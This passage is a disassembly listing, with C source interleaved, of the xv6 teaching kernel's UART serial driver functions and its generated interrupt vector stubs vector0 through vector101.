{ 801077f4: 55 push %ebp 801077f5: 89 e5 mov %esp,%ebp 801077f7: 83 ec 28 sub $0x28,%esp char *p; // Turn off the FIFO outb(COM1+2, 0); 801077fa: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80107801: 00 80107802: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp) 80107809: e8 c8 ff ff ff call 801077d6 <outb> // 9600 baud, 8 data bits, 1 stop bit, parity off. outb(COM1+3, 0x80); // Unlock divisor 8010780e: c7 44 24 04 80 00 00 movl $0x80,0x4(%esp) 80107815: 00 80107816: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp) 8010781d: e8 b4 ff ff ff call 801077d6 <outb> outb(COM1+0, 115200/9600); 80107822: c7 44 24 04 0c 00 00 movl $0xc,0x4(%esp) 80107829: 00 8010782a: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp) 80107831: e8 a0 ff ff ff call 801077d6 <outb> outb(COM1+1, 0); 80107836: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010783d: 00 8010783e: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp) 80107845: e8 8c ff ff ff call 801077d6 <outb> outb(COM1+3, 0x03); // Lock divisor, 8 data bits. 8010784a: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 80107851: 00 80107852: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp) 80107859: e8 78 ff ff ff call 801077d6 <outb> outb(COM1+4, 0); 8010785e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80107865: 00 80107866: c7 04 24 fc 03 00 00 movl $0x3fc,(%esp) 8010786d: e8 64 ff ff ff call 801077d6 <outb> outb(COM1+1, 0x01); // Enable receive interrupts. 80107872: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 80107879: 00 8010787a: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp) 80107881: e8 50 ff ff ff call 801077d6 <outb> // If status is 0xFF, no serial port. if(inb(COM1+5) == 0xFF) 80107886: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp) 8010788d: e8 1a ff ff ff call 801077ac <inb> 80107892: 3c ff cmp $0xff,%al 80107894: 74 6c je 80107902 <uartinit+0x10e> return; uart = 1; 80107896: c7 05 6c c6 10 80 01 movl $0x1,0x8010c66c 8010789d: 00 00 00 // Acknowledge pre-existing interrupt conditions; // enable interrupts. inb(COM1+2); 801078a0: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp) 801078a7: e8 00 ff ff ff call 801077ac <inb> inb(COM1+0); 801078ac: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp) 801078b3: e8 f4 fe ff ff call 801077ac <inb> picenable(IRQ_COM1); 801078b8: c7 04 24 04 00 00 00 movl $0x4,(%esp) 801078bf: e8 11 ce ff ff call 801046d5 <picenable> ioapicenable(IRQ_COM1, 0); 801078c4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801078cb: 00 801078cc: c7 04 24 04 00 00 00 movl $0x4,(%esp) 801078d3: e8 76 b9 ff ff call 8010324e <ioapicenable> // Announce that we're here. for(p="xv6...\n"; *p; p++) 801078d8: c7 45 f4 a0 98 10 80 movl $0x801098a0,-0xc(%ebp) 801078df: eb 15 jmp 801078f6 <uartinit+0x102> uartputc(*p); 801078e1: 8b 45 f4 mov -0xc(%ebp),%eax 801078e4: 0f b6 00 movzbl (%eax),%eax 801078e7: 0f be c0 movsbl %al,%eax 801078ea: 89 04 24 mov %eax,(%esp) 801078ed: e8 13 00 00 00 call 80107905 <uartputc> inb(COM1+0); picenable(IRQ_COM1); ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) 801078f2: 83 45 f4 01 addl $0x1,-0xc(%ebp) 801078f6: 8b 45 f4 mov -0xc(%ebp),%eax 801078f9: 0f b6 00 movzbl (%eax),%eax 801078fc: 84 c0 test %al,%al 801078fe: 75 e1 jne 801078e1 <uartinit+0xed> 80107900: eb 01 jmp 80107903 <uartinit+0x10f> outb(COM1+4, 0); outb(COM1+1, 0x01); // Enable receive interrupts. // If status is 0xFF, no serial port. if(inb(COM1+5) == 0xFF) return; 80107902: 90 nop ioapicenable(IRQ_COM1, 0); // Announce that we're here. for(p="xv6...\n"; *p; p++) uartputc(*p); } 80107903: c9 leave 80107904: c3 ret 80107905 <uartputc>: void uartputc(int c) { 80107905: 55 push %ebp 80107906: 89 e5 mov %esp,%ebp 80107908: 83 ec 28 sub $0x28,%esp int i; if(!uart) 8010790b: a1 6c c6 10 80 mov 0x8010c66c,%eax 80107910: 85 c0 test %eax,%eax 80107912: 74 4d je 80107961 <uartputc+0x5c> return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80107914: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 8010791b: eb 10 jmp 8010792d <uartputc+0x28> microdelay(10); 8010791d: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 80107924: e8 e7 be ff ff call 80103810 <microdelay> { int i; if(!uart) return; for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 80107929: 83 45 f4 01 addl $0x1,-0xc(%ebp) 8010792d: 83 7d f4 7f cmpl $0x7f,-0xc(%ebp) 80107931: 7f 16 jg 80107949 <uartputc+0x44> 80107933: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp) 8010793a: e8 6d fe ff ff call 801077ac <inb> 8010793f: 0f b6 c0 movzbl %al,%eax 80107942: 83 e0 20 and $0x20,%eax 80107945: 85 c0 test %eax,%eax 80107947: 74 d4 je 8010791d <uartputc+0x18> microdelay(10); outb(COM1+0, c); 80107949: 8b 45 08 mov 0x8(%ebp),%eax 8010794c: 0f b6 c0 movzbl %al,%eax 8010794f: 89 44 24 04 mov %eax,0x4(%esp) 80107953: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp) 8010795a: e8 77 fe ff ff call 801077d6 <outb> 8010795f: eb 01 jmp 80107962 <uartputc+0x5d> uartputc(int c) { int i; if(!uart) return; 80107961: 90 nop for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) microdelay(10); outb(COM1+0, c); } 80107962: c9 leave 80107963: c3 ret 80107964 <uartgetc>: static int uartgetc(void) { 80107964: 55 push %ebp 80107965: 89 e5 mov %esp,%ebp 80107967: 83 ec 04 sub $0x4,%esp if(!uart) 8010796a: a1 6c c6 10 80 mov 0x8010c66c,%eax 8010796f: 85 c0 test %eax,%eax 80107971: 75 07 jne 8010797a <uartgetc+0x16> return -1; 80107973: b8 ff ff ff ff mov $0xffffffff,%eax 80107978: eb 2c jmp 801079a6 <uartgetc+0x42> if(!(inb(COM1+5) & 0x01)) 8010797a: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp) 80107981: e8 26 fe ff ff call 801077ac <inb> 80107986: 0f b6 c0 movzbl %al,%eax 80107989: 83 e0 01 and $0x1,%eax 8010798c: 85 c0 test %eax,%eax 8010798e: 75 07 jne 80107997 <uartgetc+0x33> return -1; 80107990: b8 ff ff ff ff mov $0xffffffff,%eax 80107995: eb 0f jmp 801079a6 <uartgetc+0x42> return inb(COM1+0); 80107997: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp) 8010799e: e8 09 fe ff ff call 801077ac <inb> 801079a3: 0f b6 c0 movzbl %al,%eax } 801079a6: c9 leave 801079a7: c3 ret 801079a8 <uartintr>: void uartintr(void) { 801079a8: 55 push %ebp 801079a9: 89 e5 mov %esp,%ebp 801079ab: 83 ec 18 sub $0x18,%esp consoleintr(uartgetc); 801079ae: c7 04 24 64 79 10 80 movl $0x80107964,(%esp) 801079b5: e8 f4 91 ff ff call 80100bae <consoleintr> } 801079ba: c9 leave 801079bb: c3 ret 801079bc <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 801079bc: 6a 00 push $0x0 pushl $0 801079be: 6a 00 push $0x0 jmp alltraps 801079c0: e9 0b f9 ff ff jmp 801072d0 <alltraps> 801079c5 <vector1>: .globl vector1 vector1: pushl $0 801079c5: 6a 00 push $0x0 pushl $1 801079c7: 6a 01 push $0x1 jmp alltraps 801079c9: e9 02 f9 ff ff jmp 801072d0 <alltraps> 801079ce <vector2>: .globl vector2 vector2: pushl $0 801079ce: 6a 00 push $0x0 pushl $2 801079d0: 6a 02 push $0x2 jmp alltraps 801079d2: e9 f9 f8 ff ff jmp 801072d0 <alltraps> 801079d7 <vector3>: .globl vector3 vector3: pushl $0 801079d7: 6a 00 push $0x0 pushl $3 801079d9: 6a 03 push $0x3 jmp alltraps 801079db: e9 f0 f8 ff ff jmp 801072d0 <alltraps> 801079e0 <vector4>: .globl vector4 vector4: pushl $0 801079e0: 6a 00 push $0x0 pushl $4 801079e2: 6a 04 push $0x4 jmp alltraps 801079e4: e9 e7 f8 ff ff jmp 801072d0 <alltraps> 801079e9 <vector5>: .globl vector5 vector5: pushl $0 801079e9: 6a 00 push $0x0 pushl $5 801079eb: 6a 05 push $0x5 jmp alltraps 801079ed: e9 de f8 ff ff jmp 801072d0 <alltraps> 801079f2 <vector6>: .globl vector6 vector6: pushl $0 801079f2: 6a 00 push $0x0 pushl $6 801079f4: 6a 06 push $0x6 jmp alltraps 801079f6: e9 d5 f8 ff ff jmp 801072d0 <alltraps> 801079fb <vector7>: .globl vector7 vector7: pushl $0 801079fb: 6a 00 push $0x0 pushl $7 801079fd: 6a 07 push $0x7 jmp alltraps 801079ff: e9 cc f8 ff ff jmp 801072d0 <alltraps> 80107a04 <vector8>: .globl vector8 vector8: pushl $8 80107a04: 6a 08 push $0x8 jmp alltraps 80107a06: e9 c5 f8 ff ff jmp 801072d0 <alltraps> 80107a0b <vector9>: .globl vector9 vector9: pushl $0 80107a0b: 6a 00 push $0x0 pushl $9 80107a0d: 6a 09 push $0x9 jmp alltraps 80107a0f: e9 bc f8 ff ff jmp 801072d0 <alltraps> 80107a14 <vector10>: .globl vector10 vector10: pushl $10 80107a14: 6a 0a push $0xa jmp alltraps 80107a16: e9 b5 f8 ff ff jmp 801072d0 <alltraps> 80107a1b <vector11>: .globl vector11 vector11: pushl $11 80107a1b: 6a 0b push $0xb jmp alltraps 80107a1d: e9 ae f8 ff ff jmp 801072d0 <alltraps> 80107a22 <vector12>: .globl vector12 vector12: pushl $12 80107a22: 6a 0c push $0xc jmp alltraps 80107a24: e9 a7 f8 ff ff jmp 801072d0 <alltraps> 80107a29 <vector13>: .globl vector13 vector13: pushl $13 80107a29: 6a 0d push $0xd jmp alltraps 80107a2b: e9 a0 f8 ff ff jmp 801072d0 <alltraps> 80107a30 <vector14>: .globl vector14 vector14: pushl $14 80107a30: 6a 0e push $0xe jmp alltraps 80107a32: e9 99 f8 ff ff jmp 801072d0 <alltraps> 80107a37 <vector15>: .globl vector15 vector15: pushl $0 80107a37: 6a 00 push $0x0 pushl $15 80107a39: 6a 0f push $0xf jmp alltraps 80107a3b: e9 90 f8 ff ff jmp 801072d0 <alltraps> 80107a40 <vector16>: .globl vector16 vector16: pushl $0 80107a40: 6a 00 push $0x0 pushl $16 80107a42: 6a 10 push $0x10 jmp alltraps 80107a44: e9 87 f8 ff ff jmp 801072d0 <alltraps> 80107a49 <vector17>: .globl vector17 vector17: pushl $17 80107a49: 6a 11 push $0x11 jmp alltraps 80107a4b: e9 80 f8 ff ff jmp 801072d0 <alltraps> 80107a50 <vector18>: .globl vector18 vector18: pushl $0 80107a50: 6a 00 push $0x0 pushl $18 80107a52: 6a 12 push $0x12 jmp alltraps 80107a54: e9 77 f8 ff ff jmp 801072d0 <alltraps> 80107a59 <vector19>: .globl vector19 vector19: pushl $0 80107a59: 6a 00 push $0x0 pushl $19 80107a5b: 6a 13 push $0x13 jmp alltraps 80107a5d: e9 6e f8 ff ff jmp 801072d0 <alltraps> 80107a62 <vector20>: .globl vector20 vector20: pushl $0 80107a62: 6a 00 push $0x0 pushl $20 80107a64: 6a 14 push $0x14 jmp alltraps 80107a66: e9 65 f8 ff ff jmp 801072d0 <alltraps> 80107a6b <vector21>: .globl vector21 vector21: pushl $0 80107a6b: 6a 00 push $0x0 pushl $21 80107a6d: 6a 15 push $0x15 jmp alltraps 80107a6f: e9 5c f8 ff ff jmp 801072d0 <alltraps> 80107a74 <vector22>: .globl vector22 vector22: pushl $0 80107a74: 6a 00 push $0x0 pushl $22 80107a76: 6a 16 push $0x16 jmp alltraps 80107a78: e9 53 f8 ff ff jmp 801072d0 <alltraps> 80107a7d <vector23>: .globl vector23 vector23: pushl $0 80107a7d: 6a 00 push $0x0 pushl $23 80107a7f: 6a 17 push $0x17 jmp alltraps 80107a81: e9 4a f8 ff ff jmp 801072d0 <alltraps> 80107a86 <vector24>: .globl vector24 vector24: pushl $0 80107a86: 6a 00 push $0x0 pushl $24 80107a88: 6a 18 push $0x18 jmp alltraps 80107a8a: e9 41 f8 ff ff jmp 801072d0 <alltraps> 80107a8f <vector25>: .globl vector25 vector25: pushl $0 80107a8f: 6a 00 push $0x0 pushl $25 80107a91: 6a 19 push $0x19 jmp alltraps 80107a93: e9 38 f8 ff ff jmp 801072d0 <alltraps> 80107a98 <vector26>: .globl vector26 vector26: pushl $0 80107a98: 6a 00 push $0x0 pushl $26 80107a9a: 6a 1a push $0x1a jmp alltraps 80107a9c: e9 2f f8 ff ff jmp 801072d0 <alltraps> 80107aa1 <vector27>: .globl vector27 vector27: pushl $0 80107aa1: 6a 00 push $0x0 pushl $27 80107aa3: 6a 1b push $0x1b jmp alltraps 80107aa5: e9 26 f8 ff ff jmp 801072d0 <alltraps> 80107aaa <vector28>: .globl vector28 vector28: pushl $0 80107aaa: 6a 00 push $0x0 pushl $28 80107aac: 6a 1c push $0x1c jmp alltraps 80107aae: e9 1d f8 ff ff jmp 801072d0 <alltraps> 80107ab3 <vector29>: .globl vector29 vector29: pushl $0 80107ab3: 6a 00 push $0x0 pushl $29 80107ab5: 6a 1d push $0x1d jmp alltraps 80107ab7: e9 14 f8 ff ff jmp 801072d0 <alltraps> 80107abc <vector30>: .globl vector30 vector30: pushl $0 80107abc: 6a 00 push $0x0 pushl $30 80107abe: 6a 1e push $0x1e jmp alltraps 80107ac0: e9 0b f8 ff ff jmp 801072d0 <alltraps> 80107ac5 <vector31>: .globl vector31 vector31: pushl $0 80107ac5: 6a 00 push $0x0 pushl $31 80107ac7: 6a 1f push $0x1f jmp alltraps 80107ac9: e9 02 f8 ff ff jmp 801072d0 <alltraps> 80107ace <vector32>: .globl vector32 vector32: pushl $0 80107ace: 6a 00 push $0x0 pushl $32 80107ad0: 6a 20 push $0x20 jmp alltraps 80107ad2: e9 f9 f7 ff ff jmp 801072d0 <alltraps> 80107ad7 <vector33>: .globl vector33 vector33: pushl $0 80107ad7: 6a 00 push $0x0 pushl $33 80107ad9: 6a 21 push $0x21 jmp alltraps 80107adb: e9 f0 f7 ff ff jmp 801072d0 <alltraps> 80107ae0 <vector34>: .globl vector34 vector34: pushl $0 80107ae0: 6a 00 push $0x0 pushl $34 80107ae2: 6a 22 push $0x22 jmp alltraps 80107ae4: e9 e7 f7 ff ff jmp 801072d0 <alltraps> 80107ae9 <vector35>: .globl vector35 vector35: pushl $0 80107ae9: 6a 00 push $0x0 pushl $35 80107aeb: 6a 23 push $0x23 jmp alltraps 80107aed: e9 de f7 ff ff jmp 801072d0 <alltraps> 80107af2 <vector36>: .globl vector36 vector36: pushl $0 80107af2: 6a 00 push $0x0 pushl $36 80107af4: 6a 24 push $0x24 jmp alltraps 80107af6: e9 d5 f7 ff ff jmp 801072d0 <alltraps> 80107afb <vector37>: .globl vector37 vector37: pushl $0 80107afb: 6a 00 push $0x0 pushl $37 80107afd: 6a 25 push $0x25 jmp alltraps 80107aff: e9 cc f7 ff ff jmp 801072d0 <alltraps> 80107b04 <vector38>: .globl vector38 vector38: pushl $0 80107b04: 6a 00 push $0x0 pushl $38 80107b06: 6a 26 push $0x26 jmp alltraps 80107b08: e9 c3 f7 ff ff jmp 801072d0 <alltraps> 80107b0d <vector39>: .globl vector39 vector39: pushl $0 80107b0d: 6a 00 push $0x0 pushl $39 80107b0f: 6a 27 push $0x27 jmp alltraps 80107b11: e9 ba f7 ff ff jmp 801072d0 <alltraps> 80107b16 <vector40>: .globl vector40 vector40: pushl $0 80107b16: 6a 00 push $0x0 pushl $40 80107b18: 6a 28 push $0x28 jmp alltraps 80107b1a: e9 b1 f7 ff ff jmp 801072d0 <alltraps> 80107b1f <vector41>: .globl vector41 vector41: pushl $0 80107b1f: 6a 00 push $0x0 pushl $41 80107b21: 6a 29 push $0x29 jmp alltraps 80107b23: e9 a8 f7 ff ff jmp 801072d0 <alltraps> 80107b28 <vector42>: .globl vector42 vector42: pushl $0 80107b28: 6a 00 push $0x0 pushl $42 80107b2a: 6a 2a push $0x2a jmp alltraps 80107b2c: e9 9f f7 ff ff jmp 801072d0 <alltraps> 80107b31 <vector43>: .globl vector43 vector43: pushl $0 80107b31: 6a 00 push $0x0 pushl $43 80107b33: 6a 2b push $0x2b jmp alltraps 80107b35: e9 96 f7 ff ff jmp 801072d0 <alltraps> 80107b3a <vector44>: .globl vector44 vector44: pushl $0 80107b3a: 6a 00 push $0x0 pushl $44 80107b3c: 6a 2c push $0x2c jmp alltraps 80107b3e: e9 8d f7 ff ff jmp 801072d0 <alltraps> 80107b43 <vector45>: .globl vector45 vector45: pushl $0 80107b43: 6a 00 push $0x0 pushl $45 80107b45: 6a 2d push $0x2d jmp alltraps 80107b47: e9 84 f7 ff ff jmp 801072d0 <alltraps> 80107b4c <vector46>: .globl vector46 vector46: pushl $0 80107b4c: 6a 00 push $0x0 pushl $46 80107b4e: 6a 2e push $0x2e jmp alltraps 80107b50: e9 7b f7 ff ff jmp 801072d0 <alltraps> 80107b55 <vector47>: .globl vector47 vector47: pushl $0 80107b55: 6a 00 push $0x0 pushl $47 80107b57: 6a 2f push $0x2f jmp alltraps 80107b59: e9 72 f7 ff ff jmp 801072d0 <alltraps> 80107b5e <vector48>: .globl vector48 vector48: pushl $0 80107b5e: 6a 00 push $0x0 pushl $48 80107b60: 6a 30 push $0x30 jmp alltraps 80107b62: e9 69 f7 ff ff jmp 801072d0 <alltraps> 80107b67 <vector49>: .globl vector49 vector49: pushl $0 80107b67: 6a 00 push $0x0 pushl $49 80107b69: 6a 31 push $0x31 jmp alltraps 80107b6b: e9 60 f7 ff ff jmp 801072d0 <alltraps> 80107b70 <vector50>: .globl vector50 vector50: pushl $0 80107b70: 6a 00 push $0x0 pushl $50 80107b72: 6a 32 push $0x32 jmp alltraps 80107b74: e9 57 f7 ff ff jmp 801072d0 <alltraps> 80107b79 <vector51>: .globl vector51 vector51: pushl $0 80107b79: 6a 00 push $0x0 pushl $51 80107b7b: 6a 33 push $0x33 jmp alltraps 80107b7d: e9 4e f7 ff ff jmp 801072d0 <alltraps> 80107b82 <vector52>: .globl vector52 vector52: pushl $0 80107b82: 6a 00 push $0x0 pushl $52 80107b84: 6a 34 push $0x34 jmp alltraps 80107b86: e9 45 f7 ff ff jmp 801072d0 <alltraps> 80107b8b <vector53>: .globl vector53 vector53: pushl $0 80107b8b: 6a 00 push $0x0 pushl $53 80107b8d: 6a 35 push $0x35 jmp alltraps 80107b8f: e9 3c f7 ff ff jmp 801072d0 <alltraps> 80107b94 <vector54>: .globl vector54 vector54: pushl $0 80107b94: 6a 00 push $0x0 pushl $54 80107b96: 6a 36 push $0x36 jmp alltraps 80107b98: e9 33 f7 ff ff jmp 801072d0 <alltraps> 80107b9d <vector55>: .globl vector55 vector55: pushl $0 80107b9d: 6a 00 push $0x0 pushl $55 80107b9f: 6a 37 push $0x37 jmp alltraps 80107ba1: e9 2a f7 ff ff jmp 801072d0 <alltraps> 80107ba6 <vector56>: .globl vector56 vector56: pushl $0 80107ba6: 6a 00 push $0x0 pushl $56 80107ba8: 6a 38 push $0x38 jmp alltraps 80107baa: e9 21 f7 ff ff jmp 801072d0 <alltraps> 80107baf <vector57>: .globl vector57 vector57: pushl $0 80107baf: 6a 00 push $0x0 pushl $57 80107bb1: 6a 39 push $0x39 jmp alltraps 80107bb3: e9 18 f7 ff ff jmp 801072d0 <alltraps> 80107bb8 <vector58>: .globl vector58 vector58: pushl $0 80107bb8: 6a 00 push $0x0 pushl $58 80107bba: 6a 3a push $0x3a jmp alltraps 80107bbc: e9 0f f7 ff ff jmp 801072d0 <alltraps> 80107bc1 <vector59>: .globl vector59 vector59: pushl $0 80107bc1: 6a 00 push $0x0 pushl $59 80107bc3: 6a 3b push $0x3b jmp alltraps 80107bc5: e9 06 f7 ff ff jmp 801072d0 <alltraps> 80107bca <vector60>: .globl vector60 vector60: pushl $0 80107bca: 6a 00 push $0x0 pushl $60 80107bcc: 6a 3c push $0x3c jmp alltraps 80107bce: e9 fd f6 ff ff jmp 801072d0 <alltraps> 80107bd3 <vector61>: .globl vector61 vector61: pushl $0 80107bd3: 6a 00 push $0x0 pushl $61 80107bd5: 6a 3d push $0x3d jmp alltraps 80107bd7: e9 f4 f6 ff ff jmp 801072d0 <alltraps> 80107bdc <vector62>: .globl vector62 vector62: pushl $0 80107bdc: 6a 00 push $0x0 pushl $62 80107bde: 6a 3e push $0x3e jmp alltraps 80107be0: e9 eb f6 ff ff jmp 801072d0 <alltraps> 80107be5 <vector63>: .globl vector63 vector63: pushl $0 80107be5: 6a 00 push $0x0 pushl $63 80107be7: 6a 3f push $0x3f jmp alltraps 80107be9: e9 e2 f6 ff ff jmp 801072d0 <alltraps> 80107bee <vector64>: .globl vector64 vector64: pushl $0 80107bee: 6a 00 push $0x0 pushl $64 80107bf0: 6a 40 push $0x40 jmp alltraps 80107bf2: e9 d9 f6 ff ff jmp 801072d0 <alltraps> 80107bf7 <vector65>: .globl vector65 vector65: pushl $0 80107bf7: 6a 00 push $0x0 pushl $65 80107bf9: 6a 41 push $0x41 jmp alltraps 80107bfb: e9 d0 f6 ff ff jmp 801072d0 <alltraps> 80107c00 <vector66>: .globl vector66 vector66: pushl $0 80107c00: 6a 00 push $0x0 pushl $66 80107c02: 6a 42 push $0x42 jmp alltraps 80107c04: e9 c7 f6 ff ff jmp 801072d0 <alltraps> 80107c09 <vector67>: .globl vector67 vector67: pushl $0 80107c09: 6a 00 push $0x0 pushl $67 80107c0b: 6a 43 push $0x43 jmp alltraps 80107c0d: e9 be f6 ff ff jmp 801072d0 <alltraps> 80107c12 <vector68>: .globl vector68 vector68: pushl $0 80107c12: 6a 00 push $0x0 pushl $68 80107c14: 6a 44 push $0x44 jmp alltraps 80107c16: e9 b5 f6 ff ff jmp 801072d0 <alltraps> 80107c1b <vector69>: .globl vector69 vector69: pushl $0 80107c1b: 6a 00 push $0x0 pushl $69 80107c1d: 6a 45 push $0x45 jmp alltraps 80107c1f: e9 ac f6 ff ff jmp 801072d0 <alltraps> 80107c24 <vector70>: .globl vector70 vector70: pushl $0 80107c24: 6a 00 push $0x0 pushl $70 80107c26: 6a 46 push $0x46 jmp alltraps 80107c28: e9 a3 f6 ff ff jmp 801072d0 <alltraps> 80107c2d <vector71>: .globl vector71 vector71: pushl $0 80107c2d: 6a 00 push $0x0 pushl $71 80107c2f: 6a 47 push $0x47 jmp alltraps 80107c31: e9 9a f6 ff ff jmp 801072d0 <alltraps> 80107c36 <vector72>: .globl vector72 vector72: pushl $0 80107c36: 6a 00 push $0x0 pushl $72 80107c38: 6a 48 push $0x48 jmp alltraps 80107c3a: e9 91 f6 ff ff jmp 801072d0 <alltraps> 80107c3f <vector73>: .globl vector73 vector73: pushl $0 80107c3f: 6a 00 push $0x0 pushl $73 80107c41: 6a 49 push $0x49 jmp alltraps 80107c43: e9 88 f6 ff ff jmp 801072d0 <alltraps> 80107c48 <vector74>: .globl vector74 vector74: pushl $0 80107c48: 6a 00 push $0x0 pushl $74 80107c4a: 6a 4a push $0x4a jmp alltraps 80107c4c: e9 7f f6 ff ff jmp 801072d0 <alltraps> 80107c51 <vector75>: .globl vector75 vector75: pushl $0 80107c51: 6a 00 push $0x0 pushl $75 80107c53: 6a 4b push $0x4b jmp alltraps 80107c55: e9 76 f6 ff ff jmp 801072d0 <alltraps> 80107c5a <vector76>: .globl vector76 vector76: pushl $0 80107c5a: 6a 00 push $0x0 pushl $76 80107c5c: 6a 4c push $0x4c jmp alltraps 80107c5e: e9 6d f6 ff ff jmp 801072d0 <alltraps> 80107c63 <vector77>: .globl vector77 vector77: pushl $0 80107c63: 6a 00 push $0x0 pushl $77 80107c65: 6a 4d push $0x4d jmp alltraps 80107c67: e9 64 f6 ff ff jmp 801072d0 <alltraps> 80107c6c <vector78>: .globl vector78 vector78: pushl $0 80107c6c: 6a 00 push $0x0 pushl $78 80107c6e: 6a 4e push $0x4e jmp alltraps 80107c70: e9 5b f6 ff ff jmp 801072d0 <alltraps> 80107c75 <vector79>: .globl vector79 vector79: pushl $0 80107c75: 6a 00 push $0x0 pushl $79 80107c77: 6a 4f push $0x4f jmp alltraps 80107c79: e9 52 f6 ff ff jmp 801072d0 <alltraps> 80107c7e <vector80>: .globl vector80 vector80: pushl $0 80107c7e: 6a 00 push $0x0 pushl $80 80107c80: 6a 50 push $0x50 jmp alltraps 80107c82: e9 49 f6 ff ff jmp 801072d0 <alltraps> 80107c87 <vector81>: .globl vector81 vector81: pushl $0 80107c87: 6a 00 push $0x0 pushl $81 80107c89: 6a 51 push $0x51 jmp alltraps 80107c8b: e9 40 f6 ff ff jmp 801072d0 <alltraps> 80107c90 <vector82>: .globl vector82 vector82: pushl $0 80107c90: 6a 00 push $0x0 pushl $82 80107c92: 6a 52 push $0x52 jmp alltraps 80107c94: e9 37 f6 ff ff jmp 801072d0 <alltraps> 80107c99 <vector83>: .globl vector83 vector83: pushl $0 80107c99: 6a 00 push $0x0 pushl $83 80107c9b: 6a 53 push $0x53 jmp alltraps 80107c9d: e9 2e f6 ff ff jmp 801072d0 <alltraps> 80107ca2 <vector84>: .globl vector84 vector84: pushl $0 80107ca2: 6a 00 push $0x0 pushl $84 80107ca4: 6a 54 push $0x54 jmp alltraps 80107ca6: e9 25 f6 ff ff jmp 801072d0 <alltraps> 80107cab <vector85>: .globl vector85 vector85: pushl $0 80107cab: 6a 00 push $0x0 pushl $85 80107cad: 6a 55 push $0x55 jmp alltraps 80107caf: e9 1c f6 ff ff jmp 801072d0 <alltraps> 80107cb4 <vector86>: .globl vector86 vector86: pushl $0 80107cb4: 6a 00 push $0x0 pushl $86 80107cb6: 6a 56 push $0x56 jmp alltraps 80107cb8: e9 13 f6 ff ff jmp 801072d0 <alltraps> 80107cbd <vector87>: .globl vector87 vector87: pushl $0 80107cbd: 6a 00 push $0x0 pushl $87 80107cbf: 6a 57 push $0x57 jmp alltraps 80107cc1: e9 0a f6 ff ff jmp 801072d0 <alltraps> 80107cc6 <vector88>: .globl vector88 vector88: pushl $0 80107cc6: 6a 00 push $0x0 pushl $88 80107cc8: 6a 58 push $0x58 jmp alltraps 80107cca: e9 01 f6 ff ff jmp 801072d0 <alltraps> 80107ccf <vector89>: .globl vector89 vector89: pushl $0 80107ccf: 6a 00 push $0x0 pushl $89 80107cd1: 6a 59 push $0x59 jmp alltraps 80107cd3: e9 f8 f5 ff ff jmp 801072d0 <alltraps> 80107cd8 <vector90>: .globl vector90 vector90: pushl $0 80107cd8: 6a 00 push $0x0 pushl $90 80107cda: 6a 5a push $0x5a jmp alltraps 80107cdc: e9 ef f5 ff ff jmp 801072d0 <alltraps> 80107ce1 <vector91>: .globl vector91 vector91: pushl $0 80107ce1: 6a 00 push $0x0 pushl $91 80107ce3: 6a 5b push $0x5b jmp alltraps 80107ce5: e9 e6 f5 ff ff jmp 801072d0 <alltraps> 80107cea <vector92>: .globl vector92 vector92: pushl $0 80107cea: 6a 00 push $0x0 pushl $92 80107cec: 6a 5c push $0x5c jmp alltraps 80107cee: e9 dd f5 ff ff jmp 801072d0 <alltraps> 80107cf3 <vector93>: .globl vector93 vector93: pushl $0 80107cf3: 6a 00 push $0x0 pushl $93 80107cf5: 6a 5d push $0x5d jmp alltraps 80107cf7: e9 d4 f5 ff ff jmp 801072d0 <alltraps> 80107cfc <vector94>: .globl vector94 vector94: pushl $0 80107cfc: 6a 00 push $0x0 pushl $94 80107cfe: 6a 5e push $0x5e jmp alltraps 80107d00: e9 cb f5 ff ff jmp 801072d0 <alltraps> 80107d05 <vector95>: .globl vector95 vector95: pushl $0 80107d05: 6a 00 push $0x0 pushl $95 80107d07: 6a 5f push $0x5f jmp alltraps 80107d09: e9 c2 f5 ff ff jmp 801072d0 <alltraps> 80107d0e <vector96>: .globl vector96 vector96: pushl $0 80107d0e: 6a 00 push $0x0 pushl $96 80107d10: 6a 60 push $0x60 jmp alltraps 80107d12: e9 b9 f5 ff ff jmp 801072d0 <alltraps> 80107d17 <vector97>: .globl vector97 vector97: pushl $0 80107d17: 6a 00 push $0x0 pushl $97 80107d19: 6a 61 push $0x61 jmp alltraps 80107d1b: e9 b0 f5 ff ff jmp 801072d0 <alltraps> 80107d20 <vector98>: .globl vector98 vector98: pushl $0 80107d20: 6a 00 push $0x0 pushl $98 80107d22: 6a 62 push $0x62 jmp alltraps 80107d24: e9 a7 f5 ff ff jmp 801072d0 <alltraps> 80107d29 <vector99>: .globl vector99 vector99: pushl $0 80107d29: 6a 00 push $0x0 pushl $99 80107d2b: 6a 63 push $0x63 jmp alltraps 80107d2d: e9 9e f5 ff ff jmp 801072d0 <alltraps> 80107d32 <vector100>: .globl vector100 vector100: pushl $0 80107d32: 6a 00 push $0x0 pushl $100 80107d34: 6a 64 push $0x64 jmp alltraps 80107d36: e9 95 f5 ff ff jmp 801072d0 <alltraps> 80107d3b <vector101>: .globl vector101 vector101: pushl $0 80107d3b: 6a 00 push $0x0 pushl $101 80107d3d: 6a 65 push $0x65 jmp alltraps 80107d3f: e9 8c f5 ff 